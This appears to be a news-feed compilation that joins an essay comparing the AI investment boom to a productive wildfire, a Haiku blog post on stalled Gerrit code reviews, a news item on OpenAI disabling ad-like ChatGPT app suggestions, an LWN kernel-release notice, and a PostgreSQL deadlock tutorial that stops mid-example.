The 2000 wildfire was a full incineration. Infrastructure overbuild, easy capital, and speculative exuberance burned away nearly all profitless growth stories. Yet what remained were root systems: data centers, fiber optics, and the surviving companies that learned to grow slow and deep.

Amazon looked dead, down 95%, but emerged as the spine of digital commerce. eBay stabilized early and became the first profitable platform marketplace. Microsoft and Oracle converted their software monopolies into durable enterprise cashflows. Cisco, scorched by overcapacity, rebuilt slowly as networking became the plumbing for doing business.

By adding Apple, Google, and Salesforce, the story becomes one of succession as well as survival. Apple didn’t merely survive the fire; it changed the climate for everything that followed. Google sprouted where others burned, fueled by the very engineers and founders whose startups perished in the blaze. Salesforce took advantage of scorched corporate budgets to sell cloud-based flexibility, defining the SaaS model.

During the late 1990s, telecom firms raised roughly $2 trillion in equity and another $600 billion in debt to fuel the “new economy.” Even the stocks that symbolized the mania followed a predictable arc. Intel, Cisco, Microsoft, and Oracle together were worth around $83 billion in 1995; by 2000, their combined market cap had swelled to nearly $2 trillion. Qualcomm rose 2,700% in a single year.

That money paid for over 80 million miles of fiber-optic cable, more than three-quarters of all the digital wiring that had ever been installed in the U.S. up to that point. Then came the collapse.

By 2005, nearly 85% of those cables sat unused, strands of dark fiber buried in the ground. This was overcapacity born of overconfidence. But the fiber stayed. The servers stayed. The people stayed. And that excess soon became the backbone of modern life. Within just four years of the crash, the cost of bandwidth had fallen by 90%, and the glut of cheap connectivity powered everything that came next: YouTube, Facebook, smartphones, streaming, the cloud.

That’s the paradox of productive bubbles: they destroy value on paper but create infrastructure in reality. When the flames pass, the pipes, the code, and the talent remain — ready for the next generation to use at a fraction of the cost.

The Great Recession sparked a different kind of wildfire. Where Web 1.0’s flames had consumed speculative infrastructure, Web 2.0’s burned through business models and illusions. Venture funding froze. Advertising budgets evaporated. Credit tightened. Yet the survivors didn’t just withstand the heat. They metabolized it.

Apple turned adversity into dominance, transforming the iPhone from curiosity into cultural infrastructure. Amazon, having survived the dot-com inferno, emerged as the quiet supplier of the internet’s oxygen: AWS. Netflix reinvented itself for the streaming era, its growth literally running over the fiber laid down by the previous bubble. Salesforce proved that cloud software could thrive when capital budgets died. Google discovered that measurable performance advertising could expand even in recession. And Facebook (a seedling then) would soon root itself in the ashes, nourished by cheap smartphones and surplus bandwidth.

The 2008 fire selected for companies that could integrate hardware, software, and services into self-sustaining ecosystems rather than simply clearing space. The result was evolution, not merely recovery.

This cycle, though, introduces a new kind of fuel — the canopy fire.

In the past, the flames mostly consumed the underbrush (small, overvalued startups). Today, the heat is concentrated in the tallest trees themselves: Nvidia, OpenAI, Microsoft, and a handful of hyperscalers spending staggering sums with each other.

Compute has become both the oxygen and the accelerant of this market. Every dollar of AI demand turns into a dollar for Nvidia, which in turn fuels more investment into model training, which requires still more GPUs. This creates a feedback loop of mutual monetization.

This dynamic has created something closer to an industrial bubble than a speculative one. The capital isn’t scattered across a thousand dot-coms; it’s concentrated in a few massive bilateral relationships, with complex cross-investments that blur the line between genuine deployment and recycled capital.

When the wildfire comes (when AI demand normalizes or capital costs rise) the risk shifts. Instead of dozens of failed startups, we face a temporary collapse in compute utilization. Nvidia’s stock may not burn to ash, but even a modest contraction in GPU orders could expose how dependent the entire ecosystem has become on a few large buyers.

That’s the real canopy problem: when the tallest trees grow too close, their crowns interlock, and when one ignites, the fire spreads horizontally, not just from the ground up.

In Web 1.0, Oracle (the de facto database for all dot-coms) saw a symbolic collapse from $46 to $7 in 2000 before recovering to $79 by the launch of ChatGPT and $277 today. In Web 2.0’s wildfire, Google (the supplier of performance advertising) dropped 64% from $17 to $6 but exploded to $99 with ChatGPT’s launch and has since hit $257. In this cycle, the analog could be Nvidia. Not because it lacks fundamentals, but because its customers are all drawing from the same pool of speculative heat, fueled by complex cross-investments that have elicited scrutiny about whether capital is being genuinely deployed or simply recycled.

Here’s where the AI wildfire may prove even more productive than its predecessors: the infrastructure being overbuilt today goes beyond fiber optic cable lying dormant in the ground. We’re building compute capacity, the fundamental resource constraining AI innovation right now.

Today’s AI market is brutally supply-constrained. Startups can’t get the GPU allocations they need. Hyperscalers are rationing compute to their best customers. Research labs are queuing for months to train models. Ideas and talent aren’t the bottleneck. Access to the machinery is.

This scarcity is driving the current frenzy. Companies are signing multi-billion dollar commitments years in advance, locking in capacity at premium prices, building private data centers, and stockpiling chips like ammunition. The fear centers on being unable to participate at all because you can’t access the compute, not just missing the AI wave.

What happens, however, after the fire?

The same pattern that played out with bandwidth in 2000 is setting up to repeat with compute in 2026. Billions of dollars are pouring into GPU clusters, data centers, and power infrastructure. Much of this capacity is being built speculatively, funded by the assumption that AI demand will grow exponentially forever.

But there’s another dynamic accelerating the buildout: a high-stakes game of chicken where no one can afford to blink first. When Microsoft announces a $100 billion data center investment, Google must respond in kind. When OpenAI commits to 10 gigawatts of Nvidia chips, competitors feel compelled to match or exceed that commitment. The fear centers on being locked out of the market entirely if demand does materialize and you haven’t secured capacity, not just that AI demand might not materialize.

This creates a dangerous feedback loop. Each massive spending announcement forces competitors to spend more, which drives up the perceived stakes, which justifies even larger commitments. No executive wants to be the one who underinvested in the defining technology of the era. The cost of being wrong by spending too little feels existential; the cost of being wrong by spending too much feels like someone else’s problem — a future quarter’s write-down, not today’s strategic failure.

It’s precisely this dynamic that creates productive bubbles. The rational individual decision (match your competitor’s investment) produces an irrational collective outcome (vast overcapacity). But that overcapacity is what seeds the next forest.

Yet there’s a critical distinction being lost in the bubble debate: not all compute is the same. The market is actually two distinct pools with fundamentally different dynamics.

The first pool is training compute made up of massive clusters used to create new AI models. This is where the game of chicken is being played most aggressively. No lab has a principled way of deciding how much to spend; each is simply responding to intelligence about competitors’ commitments. If your rival is spending twice as much, they might pull the future forward by a year. The result is an arms race governed less by market demand than by competitive fear, with Nvidia sitting in the middle as the gleeful arms dealer.

The second pool is inference compute which runs AI models in production, serving actual users. Here, the dynamics look entirely different.

Society’s demonstrated demand for intelligence is essentially unlimited. Every additional IQ point that can be applied to analyzing data, automating decisions, or improving productivity gets consumed immediately. Supply constrains adoption, not demand. Businesses aren’t asking “do we want AI capabilities?” They’re asking “how much can we get, and how soon?”

As GPUs become commoditized and compute abundance arrives, inference capabilities will become the next major market—especially given growing demand for efficient agentic tools. LLM inference is becoming a massive race. The companies that can deliver intelligence most efficiently, at the lowest cost per token or per decision, will capture disproportionate value. Training the biggest model matters less now; running models efficiently at planetary scale matters more.

This differs fundamentally from the dot-com bubble, which was fueled primarily by advertising spend. Companies burned cash on Super Bowl commercials to acquire customers they hoped to monetize later. That was speculative demand chasing speculative value.

AI inference demand is directed at improving actual earnings. Companies are deploying intelligence to reduce customer acquisition costs, lower operational expenses, and increase worker productivity. The return is measurable and often immediate, not hypothetical.

This suggests the AI “bubble” may have a softer landing than its predecessors. Yes, price-to-earnings ratios look inflated today. But unlike pure speculation, genuine productive capacity is being built. If compute costs fall dramatically post-correction while inference demand remains robust (and all evidence suggests it will) companies can simply run their models longer, use more compute-intensive approaches, or deploy intelligence to problems that are economically marginal at today’s prices but viable at tomorrow’s.

In other words: even if we massively overbuild training capacity (which seems likely), the inference side has enough latent demand to absorb the excess. The compute gets repurposed from the game of chicken to the productive application of intelligence at scale, rather than sitting dark.

Just as bandwidth costs collapsed by 90% within four years of the dot-com crash, making YouTube and Netflix possible, compute costs could fall dramatically in the aftermath of an AI correction. The same GPU clusters that hyperscalers are rationing today could become commodity infrastructure available to anyone with a credit card.

But here the analogy breaks down in a critical way.

Fiber optic cable has an extraordinarily long useful life: decades of productive capacity once it’s in the ground. The infrastructure built during the dot-com bubble is still carrying packets today, twenty-five years later. That’s what made it such a durable gift to the next generation: the cost was borne once, the value compounded for decades.

GPU clusters are not fiber optic cable.

The useful life of a training cluster is perhaps two to three years before it becomes uncompetitive. Chips depreciate faster than they physically wear out. A three-year-old GPU isn’t broken. It’s just obsolete, overtaken by newer architectures that offer better performance per watt, better memory bandwidth, better interconnects. In economic terms, training compute looks more like an operating expense with a short payback window than a durable capital asset.

This fundamentally changes the post-fire dynamics.

When the bubble bursts and training compute becomes abundant, yes, costs will fall. But fire followers won’t inherit state-of-the-art infrastructure the way Web 2.0 companies inherited fiber. They’ll inherit yesterday’s infrastructure: still functional, but no longer cutting-edge. If you want access to the newest, fastest compute to train competitive models, you’ll still need to pay premium prices to whoever is actively refreshing their clusters.

This creates a different kind of moat than we saw in previous cycles. The companies that survive the fire will benefit from having already paid down the cost of the current generation while competitors are trying to catch up on older hardware, not just from cheaper infrastructure. The incumbency advantage centers on having the right generation of compute, continuously refreshed, not just having compute in general.

Inference compute follows different economics. Once a model is trained, it can run productively on older hardware for years. But the training side may not produce the same democratization we saw with bandwidth. The fire might clear the brush, but the tallest trees will still control access to sunlight.

Yet focusing solely on compute may mean we’re watching the wrong wildfire.

Some believe the true winner of the AI race (at a national and global level) will be whoever solves the energy problem , not the company with the most GPUs or the best models.

Compute, after all, is just concentrated electricity. A modern AI data center can consume as much power as a small city. Kilowatts are the constraint, not silicon. You can manufacture more chips, but you can’t manufacture more energy without fundamental infrastructure: power plants, transmission lines, grid capacity. These take years or decades to build.

This is where the wildfire metaphor becomes particularly instructive. We’re focused on the compute forest burning and regrowing. But beneath that visible drama, there’s a deeper question: are we building enough energy infrastructure to power the next forest at all?

The dot-com bubble left behind dark fiber that could be lit up instantly when demand returned. But idle data centers without power to run them are just expensive real estate. The real infrastructure deficit may center on energy generation rather than compute capacity.

If this bubble drives massive investment in power infrastructure (nuclear plants, renewable energy farms, grid modernization, advanced battery storage) that would be a genuinely durable gift to the next half-century. Energy infrastructure, unlike GPUs that become obsolete in five years, compounds in value over decades.

The companies that will dominate the post-fire landscape may be the ones securing energy capacity tomorrow (when every other form of AI infrastructure is abundant except the electricity to run it) not the ones hoarding compute today.

Consider the math: A single large AI training cluster can require 100+ megawatts of continuous power, equivalent to a small city. The United States currently generates about 1,200 gigawatts of electricity total. If AI compute grows at projected rates, it could demand 5-10% of the nation’s entire power generation within a decade.

The problem here is about fundamental energy infrastructure.

And unlike fiber optic cable or GPU clusters, power infrastructure can’t be deployed quickly. Nuclear plants take 10-15 years to build. Major transmission lines face decades of regulatory approval. Even large solar farms require 3-5 years from planning to operation.

This means the real constraint on AI (the genuine bottleneck that will determine winners and losers) may already be locked in by decisions being made (or not made) right now about power infrastructure.

The companies currently spending hundreds of billions on GPUs may discover their limiting factor is the megawatts needed to run it, not compute capacity. And the regions that invest heavily in energy infrastructure today will have an insurmountable advantage in hosting AI workloads tomorrow.

The companies prepping themselves to survive scarcity aren’t just stockpiling compute. They’re building root systems deep enough to tap multiple resources: energy contracts locked in for decades, gross retention rates above 120%, margin expansion even as they scale, and infrastructure that can flex between training and inference as market dynamics shift.

With our global glasses on, we are losing (and some may say have already lost) the energy battle with China. Very quietly we have entered a new cold war era where watts and rare-earth materials are the new ICBMs.

A burning question (pardon the pun) is how do we assess fire-resistance in this cycle? Each category of company faces different tests of durability. Understanding these metrics separates genuine ecosystem strength from temporary abundance:

Understanding the Fire Tests:

Foundation model labs face a fundamental question: Can revenue grow faster than compute costs? Training expenses scale exponentially (10x compute ≈ 3x performance), while revenue scales with customer adoption. If a lab spends $100M on compute to generate $50M in revenue, then $300M to generate $120M, the trajectory is fatal. They’re running faster to stand still. Fire-resistant labs show revenue outpacing compute spend, proof that each capability improvement unlocks disproportionate customer value.

Enterprise AI platforms must prove their AI goes beyond marketing veneer. A company showing 95% gross retention but only 12% AI feature adoption means customers stay for the legacy platform (data warehouse, CRM) while ignoring AI add-ons. When capital contracts, these companies get repriced violently. The market realizes they’re infrastructure plays with an AI sticker. True AI platforms show high retention because of high AI adoption, not despite low adoption.

Application layer companies live in a unique trap: building on models they don’t control (OpenAI, Anthropic) creates margin compression, feature parity, and disintermediation risk. The only escape is deep customer embedding. Companies with NRR >120% and CAC payback <12 months have achieved workflow integration—customers expand usage naturally and acquisition costs pay back fast. Those with NRR <100% and payback >18 months are “nice-to-have” features that churn when budgets tighten, requiring continuous capital infusion to grow.

Inference API players face commoditization as GPU oversupply arrives. Revenue per GPU-hour reveals pricing power. A company generating $50/GPU-hour versus $5/GPU-hour has 10x more margin to defend its position through technical optimization, product differentiation, or distribution moats. Inference cost elasticity shows market structure: high elasticity (50% price cut = 500% demand increase) means commodity hell; low elasticity means customers value features beyond raw compute.

Energy and infrastructure firms ultimately control AI’s fundamental constraint. Data center economics flip based on utilization and energy costs. At $0.03/kWh and 85% utilization, effective cost is $0.035/kWh. At $0.08/kWh and 50% utilization, it’s $0.16/kWh—a 4.5x disadvantage. When AI demand crashes post-bubble, facilities with high energy costs cannot lower prices enough to fill capacity. Those with structural energy advantages (hydroelectric, nuclear contracts) can slash prices and still maintain positive margins, filling capacity by absorbing distressed competitors’ customers.

The meta-pattern: Each metric asks the same question from different angles—can you sustain your business model when external capital disappears? Fire-resistant companies have achieved thermodynamic sustainability: each unit of input (capital, compute, energy) generates more than one unit of output (revenue, value, efficiency). They can grow in scarcity. The flammable brush consumes more than it produces, subsidized by abundant capital. When the subsidy ends, they ignite.

This comparative framing reveals who has genuine ecosystem durability versus who’s simply tall because of temporary abundance.

The giant sequoia cannot reproduce without fire. Its cones open only in intense heat. The flames clear the forest floor, allowing seeds to reach mineral soil. The canopy burns back, allowing sunlight through. Without the burn, there is no renewal.

There’s a deeper truth in the sequoia’s relationship with fire: not all fires serve the tree equally.

For millennia, sequoias thrived with low-intensity ground fires that burned every 10-20 years. These fires were hot enough to open cones and clear undergrowth, but cool enough to leave mature trees unharmed. The sequoia’s thick bark (up to two feet deep) evolved specifically to survive these regular burns.

Then came a century of fire suppression. Without regular burning, fuel built up. Understory trees grew tall. When fires finally came, they burned hotter and higher than sequoias had ever faced.

The Castle Fire of 2020 killed an estimated 10-14% of all mature giant sequoias on Earth. Trees that had survived dozens of fires over 2,000 years died in a single afternoon. The difference? Fire intensity. The accumulated fuel created canopy fires that overwhelmed even the sequoia’s legendary resilience.

Here’s the lesson for Silicon Valley : Regular burns (cyclical corrections, normal bankruptcies, the constant churn of creative destruction) are healthy. They clear brush, release resources, and allow new growth. But if we suppress all burning for too long, if we bail out every overvalued company and prop up every failing business model, we don’t prevent the fire. We just make the eventual burn catastrophic.

The sequoia also teaches us about time horizons. These trees take centuries to reach their full height. Even mature sequoias that survive a fire need decades to fully recover their canopy. It’s still hard to tell which trees (even those that seem mature today) will continue growing versus which have already peaked. The true giants are those that spent generations building root systems deep enough to tap water sources others can’t reach, developing bark thick enough to withstand heat others can’t survive.

The goal isn’t to prevent fires but to maintain their rhythm. Small, regular burns prevent devastating conflagrations. The worst outcome is the policy that postpones all fires until the fuel load becomes explosive, not the fire itself.

If this is a bubble, it’s a productive one — a controlled burn rather than a collapse.

But “controlled” doesn’t mean comfortable. The flammable brush will ignite. Capital will evaporate. Valuations will crash. Jobs will disappear. Instead of a failure, that’s the system working as designed.

The test for every founder and investor centers on whether you can withstand scarcity rather than whether you can grow in abundance.

When the smoke clears, we’ll see who was succulent and who was tinder, who had bark, and who was resin.

The wildfire is coming. That’s not the problem.

The question is: What kind of plant are you?

And perhaps more importantly: Are you building root systems deep enough, not just to survive this season, but to keep growing through the next decade of scarcity?

Because the real opportunity comes post-fire: what continues to grow after and what entirely new species take root in the ashes.

I don’t think of a wildfire as Mother Nature’s wise way of maintaining balance. In fact, not all ecosystems depend on wildfires. Many ecosystems have evolved with fire as a natural and sometimes essential ecological process, while others are harmed by wildfire and have no natural fire-adapted features. This analogy is meant to help you understand that wildfires are a natural and necessary part of the Silicon Valley ecosystem.

Where the moral judgment does come in pertains to where all the nutrients, the talent, the attention, and the glory fall after the burn. This litmus test of humanity is the defining question of this cycle.

Will the resources gravitate to companies trying to grab more “share of attention,” getting you to watch mindlessly entertaining content by pushing your dopamine and epinephrine buttons. Will the highest goal of this technology ultimately be to get you to buy things you don’t need and spend time on activities that only mollify your FOMO temporarily. Will AI simply accelerate the development of a capitalist hypercycle of Paul Tillich’s ultimate-concern pursuit and existential disappointment that only expands the gulf between haves and have-nots?

Robert Putnam’s research out of Harvard shows that democratizing technology doesn’t inherently level the playing field. “Compared to their poorer counterparts, young people from upper-class backgrounds (and their parents) are more likely to use the Internet for jobs, education, political and social engagement, health, and newsgathering, and less for entertainment and recreation,” Putnam writes. “Affluent Americans use the Internet in ways that are mobility-enhancing, whereas poorer, less-educated Americans typically use it in ways that are not.” This stark dichotomy underscores the importance of purposefully guiding AI to free, not fetter, human agency.

More optimistically, I hope the handcuffs of Packard’s Law will be loosened for current startups and future wildflowers pursuing worthwhile quests. In Good to Great , Jim Collins coined the term Packard’s Law to describe David Packard’s view that organizational growth is limited by a company’s ability to obtain enough of the right people. After the burn, I hope companies like the following will thrive with easier access to talent, the oxygen and sunlight of company growth:

Montai Therapeutics is using AI to pioneer the creation of medicines to treat and preempt chronic disease. They have a poly-intelligent approach to discovery in which humans, AI, and nature collaborate to generate novel molecules for heretofore unsolvable diseases.

Eudia is creating an augmented-intelligence platform, starting with the legal industry, to allow humans to be orders of magnitude more efficient—not replacing lawyers but augmenting them. Augmented law delivers both precision and speed, and for the first time, cost and quality are not trade-offs. Eudia is delivering outcome-based pricing for legal work instead of billable hours. Which consumer of legal services wouldn’t be in favor of that idea?

Listen Labs is an AI-powered research platform that helps teams uncover insights from customer interviews in hours—not months—thereby amplifying the voice of customers. Where, practically speaking, companies could previously speak only with a sample of customers, now they can listen to a full panel representing every demographic, geographic, and psychographic profile instantaneously. The ironic part is that humans are more likely to offer candid and useful feedback when speaking to an AI than to a human who they consciously or unconsciously feel may be judging their answers.

Netic is helping essential service industries grow on autopilot. While the AI wave has swept across software and creative industries, businesses like home services, automotive, and consumer healthcare have been left behind. These industries form the backbone of the economy, yet they operate on outdated tools, overwhelmed call centers, and disconnected systems. Their operations are complex and often rely on manual workflows, and they can’t access the frontier technologies that drive digital-first businesses. In a world where startups mostly build for startups, Netic serves the real industries that keep America running.

It’s obvious AI will raise the ceiling for the haves; if it does not raise the floor for the have-nots, there will—and perhaps should—be pitchforks.

I have tried my best to raise my children with an abundance mindset when it comes to opportunities and a scarcity mindset as it relates to natural resources. Society feels like it operates in the opposite direction. I wonder if we can escape our fate.

The coming wildfire will surely be good for the Silicon Valley ecosystem, but will it be good for humanity?

Discussion about this post

Ready for more?

The Gerrit code review iceberg

Lobsters
www.haiku-os.org
2025-12-07 16:12:54
Comments...
Original Article

Blog post by PulkoMandy on Mon, 2025-11-24 13:45

Recently some discussions on the forum led to asking about the status of our Gerrit code review. There are a lot of changes there that have been inactive for several years, with no apparent interest from anyone. To be precise, there are currently 358 commits waiting for review (note that Gerrit, unlike Github and other popular code review tools, works on a commit-by-commit basis, so each commit from a multiple-commit change is counted separately). The oldest one has not seen any comments since 2018.

Today, let’s have a look at some of these changes and see why they are stalled. Hopefully it will inspire someone to pick up the work and help finishing them up.

Change 122 - BTab: decouple display label from view name.

What is this about

In Haiku’s Interface Kit, usually, views have a name that is not visible to the user. This is mainly used when exploring an user interface with the scripting facilities (for example with the hey command).

When we added localization to Haiku, we made the choice to not translate these view names. This makes it possible to write hey scripts that will work across all machines, no matter which language the user has selected in the Locale preferences.

There’s one case where the view name gets exposed to the user, however: that is how the label of a BTab in a BTabView is selected. This change attempts to rectify this, by adding a way to set the tab label separately from the name of the view being used as the tab content.

Why is the change stalled

The original behavior (using the view name to set the tab label) is what’s documented in the Be Book. Moreover, BeOS allows to use BTab::SetLabel to set a label, and that will also rename the view. Changing this would risk breaking some BeOS applications.

The idea implemented in this change is to work differently only if the BTab is part of a window using the layout kit. This is an indirect way to detect that we’re not in a BeOS application, since the layout kit didn’t exist in BeOS. It would be better to test for that in a more direct way.

The code also implemented separate storage for the extra fields needed to keep track of the tab name. This seems unnecessary, since there is reserved space in the BTab class to store the data inline. It would avoid extra allocations and code complexity (at the cost of a little extra work in the class header to preserve ABI compatibility on both 32 and 64 bit systems).

The original author lost interest as the changes ended up being a lot more complicated than what initially looked like a simple two-line fix. However, the issues have been identified, and applying the requested changes should be easy enough.

Change 859 - build/OptionalPackage: Use llvm/clang packages when using clang/llvm

What is this about

A very simple change to not include GCC in the Haiku image when compiling it with llvm/clang, and instead include llvm/clang.

Why is this change stalled

No one reviewed this. The use of clang/llvm to build Haiku is still not fully supported, and this change is not required for it. It may also make sense to include both compilers.

As long as the llvm build of Haiku doesn’t fully boot, this change can’t be tested.

Change 1353 - GSoC 2019: Implementing PCID in x86_64

What is this about

PCID is a way to tell the CPU about the currently executing process. It allows to improve performance and security, by tagging the entries in the TLB (the structure used by the CPU to manage virtual memory) with the identifier of the running process. The CPU makes sure processes can’t access another process entries, and so, the OS doesn’t need to remove all entries from the TLB on every context switch.

Why is this change stalled

This was a very early proposal of changes for a GSoC project. The GSoC project did not go on further. The changes (and the comments) can serve as a base for anyone interested in implementing PCID support in Haiku.

Change 1437 - usb-hid: add quirk for decus gaming mouse

What is this about

This change adds a quirk to entirely replace the HID descriptor for a specific mouse.

Why is the change stalled

One part of the change is applied incorrectly to all HID devices. While it may fix the one affected by the change, it would likely break many other devices.

It is also unclear if the fixes are correct, as we have not found similar changes in other operating systems where the same hardware is working fine. The user reporting the initial issue attached some dumps of their mouse data, but they do not match the changes they did to the code. They have then stopped replying to our questions.

This change will remain stalled until someone with the same mouse can investigate the problem and explain the changes that were made.

Change 2102 - Interface kit: do not update size on redraw

What is this about

This removes code to trigger an update to a window size in the interface kit, that may not be needed.

Why is this stalled

The app_server designer reviewed the change and remains unconvinced that the code is not needed and safe to remove in all cases.

Further inspection is needed to determine in which cases the code may trigger, and attempt to reproduce the possible issues (both the one that the change is trying to fix, and the regressions that may appear by removing that code).

The change is not very long, but reviewing it properly requires deep knowledge of app_server inner workings.

OpenAI disables ChatGPT app suggestions that looked like ads

Hacker News
techoreon.com
2025-12-07 15:52:18
Comments...
Original Article

OpenAI has disabled a feature in ChatGPT that suggested third-party applications after users complained the recommendations resembled advertisements.

Mark Chen, the company’s Chief Research Officer, acknowledged that the artificial intelligence firm “fell short” in its execution of the recent promotional messages.

The controversy arose after paying subscribers to ChatGPT reported seeing messages promoting companies such as Peloton and Target. The backlash was immediate, with one user responding to the company’s initial explanations with scepticism, writing: “Don’t insult your paying users.”

In response to the complaints, OpenAI clarified that it was testing methods to surface applications built on the ChatGPT platform, a feature announced in October. The company insisted there was “no financial component” to these suggestions.

However, Mr Chen adopted an apologetic tone regarding the rollout.

“I agree that anything that feels like an ad needs to be handled with care, and we fell short,” Mr Chen wrote on Friday. “We’ve turned off this kind of suggestion while we improve the model’s precision. We’re also looking at better controls so you can dial this down or off if you don’t find it helpful.”

Nick Turley, the head of ChatGPT, also addressed the issue on Friday, noting that he was “seeing lots of confusion about ads rumours”.

“There are no live tests for ads – any screenshots you’ve seen are either not real or not ads,” Mr Turley wrote . “If we do pursue ads, we’ll take a thoughtful approach. People trust ChatGPT and anything we do will be designed to respect that.”

Speculation regarding OpenAI’s advertising ambitions increased earlier this year following the appointment of Fidji Sumo as CEO of Applications. Ms Simo, a former executive at Instacart and Facebook, was widely expected to build the company’s advertising business.

However, strategic priorities appear to have shifted recently. The Wall Street Journal reported this week that OpenAI CEO Sam Altman issued a “code red” memo. The directive reportedly prioritises work to improve the quality of ChatGPT and pushes back other product initiatives, including advertising.


Six stable kernels for the weekend

Linux Weekly News
lwn.net
2025-12-07 15:48:39
Greg Kroah-Hartman has announced the release of the 6.17.11, 6.12.61, 6.6.119, 6.1.159, 5.15.197, and 5.10.247 stable kernels. Each contains important fixes throughout the tree; users of these kernels should upgrade. ...
Original Article

[Posted December 7, 2025 by jzb]

Greg Kroah-Hartman has announced the release of the 6.17.11 , 6.12.61 , 6.6.119 , 6.1.159 , 5.15.197 , and 5.10.247 stable kernels. Each contains important fixes throughout the tree; users of these kernels should upgrade.



Locks in PostgreSQL

Hacker News
habr.com
2025-12-07 15:42:02
Comments...
Original Article

We've already discussed some object-level locks (specifically, relation-level locks), as well as row-level locks with their connection to object-level locks and also explored wait queues, which are not always fair.

We have a hodgepodge this time. We'll start with deadlocks (actually, I planned to discuss them last time, but that article was excessively long in itself), then briefly review object-level locks left and finally discuss predicate locks .

Deadlocks

When using locks, we can confront a deadlock . It occurs when one transaction tries to acquire a resource that is already in use by another transaction, while the second transaction tries to acquire a resource that is in use by the first. The figure on the left below illustrates this: solid-line arrows indicate acquired resources, while dashed-line arrows show attempts to acquire a resource that is already in use.

To visualize a deadlock, it is convenient to build the wait-for graph. To do this, we remove specific resources, leave only transactions and indicate which transaction waits for which other. If a graph contains a cycle (from a vertex, we can get to itself in a walk along arrows), this is a deadlock.



A deadlock can certainly occur not only for two transactions, but for any larger number of them.

If a deadlock occured, the involved transactions can do nothing but wait infinitely. Therefore, all DBMS, including PostgreSQL, track locks automatically.

The check, however, requires a certain effort, and it's undesirable to make it each time a new lock is requested (deadlocks are pretty infrequent after all). So, when a process tries to acquire a lock, but cannot, it queues and «falls asleep», but sets the timer to the value specified in the deadlock_timeout parameter (1 second by default). If the resource gets free earlier, this is fine and we skimp on the check. But if on expiration of deadlock_timeout , the wait continues, the waiting process will wake up and initiate the check.

If the check (which consists in building the wait-for graph and searching it for cycles) does not detect deadlocks, it continues sleeping, this time «until final victory».

Earlier, I was fairly reproached in the comments for not mentioning the lock_timeout parameter, which affects any operator and allows avoiding an infinitely long wait: if a lock cannot be acquired during the time specified, the operator terminates with a lock_not_available error. Do not confuse this parameter with statement_timeout , which limits the total time to execute the operator, no matter whether the latter waits for a lock or does a regular work.

But if a deadlock is detected, one of the transactions (in most cases, the one that initiated the check) is forced to abort. This releases the locks it acquired and enables other transactions to continue.

Deadlocks usually mean that the application is designed incorrectly. There are two ways to detect such situations: first, messages will occur in the server log and second, the value of pg_stat_database.deadlocks will increase.

Example of deadlocking

Usually deadlocks are caused by an inconsistent order of locking table rows.
Let's consider a simple example. The first transaction is going to transfer 100 rubles from the first account to the second one. To this end, the transaction reduces the first account:

=> BEGIN;
=> UPDATE accounts SET amount = amount - 100.00 WHERE acc_no = 1;
UPDATE 1

At the same time, the second transaction is going to transfer 10 rubles from the second account to the first one. And it starts with reducing the second account:

|  => BEGIN;
|  => UPDATE accounts SET amount = amount - 10.00 WHERE acc_no = 2;
|  UPDATE 1

Now the first transaction tries to increase the second account, but detects a lock on the row.

=> UPDATE accounts SET amount = amount + 100.00 WHERE acc_no = 2;

Then the second transaction tries to increase the first account, but also gets blocked.

|  => UPDATE accounts SET amount = amount + 10.00 WHERE acc_no = 1;

So a circular wait arises, which won't end on its own. In a second, the first transaction, which cannot access the resource yet, initiates a check for a deadlock and is forced to abort by the server.

ERROR:  deadlock detected
DETAIL:  Process 16477 waits for ShareLock on transaction 530695; blocked by process 16513.
Process 16513 waits for ShareLock on transaction 530694; blocked by process 16477.
HINT:  See server log for query details.
CONTEXT:  while updating tuple (0,2) in relation "accounts"

Now the second transaction can continue.

|  UPDATE 1
|  => ROLLBACK;

=> ROLLBACK;

The correct way to perform such operations is to lock resources in the same order. For example: in this case, accounts can be locked in ascending order of their numbers.

Deadlock of two UPDATE commands

Sometimes we can get a deadlock in situations where, seemingly, it could never occur. For example: it is convenient and usual to treat SQL commands as atomic, but the UPDATE command locks rows as they are updated. This does not happen instantaneously. Therefore, if the order in which a command updates rows is inconsistent with the order in which another command does this, a deadlock can occur.

Although such a situation is unlikely, it can still occur. To reproduce it, we will create an index on the amount column in descending order of amount :

=> CREATE INDEX ON accounts(amount DESC);

To be able to watch what happens, let's create a function that increases the passed value, but very-very slowly, for as long as an entire second:

=> CREATE FUNCTION inc_slow(n numeric) RETURNS numeric AS $$
  SELECT pg_sleep(1);
  SELECT n + 100.00;
$$ LANGUAGE SQL;

We will also need the pgrowlocks extension.

=> CREATE EXTENSION pgrowlocks;

The first UPDATE command will update the entire table. The execution plan is evident — it is sequential scan:

|  => EXPLAIN (costs off)
|  UPDATE accounts SET amount = inc_slow(amount);
|           QUERY PLAN         
|  ----------------------------
|   Update on accounts
|     ->  Seq Scan on accounts
|  (2 rows)

Since tuples on the table page are located in ascending order of the amount (exactly how we added them), they will also be updated in the same order. Let the update start.

|  => UPDATE accounts SET amount = inc_slow(amount);

At the same time, in another session we'll forbid sequential scans:

||     => SET enable_seqscan = off;

In this case, for the next UPDATE operator, the planner decides to use index scan:

||     => EXPLAIN (costs off)
||     UPDATE accounts SET amount = inc_slow(amount) WHERE amount > 100.00;
||                            QUERY PLAN                       
||     --------------------------------------------------------
||      Update on accounts
||        ->  Index Scan using accounts_amount_idx on accounts
||              Index Cond: (amount > 100.00)
||     (3 rows)

The second and third rows meet the condition, and since the index is built in descending order of the amount, the rows will be updated in a reverse order.

Let's run the next update.

||     => UPDATE accounts SET amount = inc_slow(amount) WHERE amount > 100.00;

A quick look into the table page shows that the first operator already managed to update the first row (0,1) and the second operator updated the last row (0,3):

=> SELECT * FROM pgrowlocks('accounts') \gx
-[ RECORD 1 ]-----------------
locked_row | (0,1)
locker     | 530699            <- the first
multi      | f
xids       | {530699}
modes      | {"No Key Update"}
pids       | {16513}
-[ RECORD 2 ]-----------------
locked_row | (0,3)
locker     | 530700            <- the second
multi      | f
xids       | {530700}
modes      | {"No Key Update"}
pids       | {16549}

One more second elapses. The first operator updated the second row, and the second one would like to do the same, but cannot.

=> SELECT * FROM pgrowlocks('accounts') \gx
-[ RECORD 1 ]-----------------
locked_row | (0,1)
locker     | 530699            <- the first
multi      | f
xids       | {530699}
modes      | {"No Key Update"}
pids       | {16513}
-[ RECORD 2 ]-----------------
locked_row | (0,2)
locker     | 530699            <- the first was quicker
multi      | f
xids       | {530699}
modes      | {"No Key Update"}
pids       | {16513}
-[ RECORD 3 ]-----------------
locked_row | (0,3)
locker     | 530700            <- the second
multi      | f
xids       | {530700}
modes      | {"No Key Update"}
pids       | {16549}

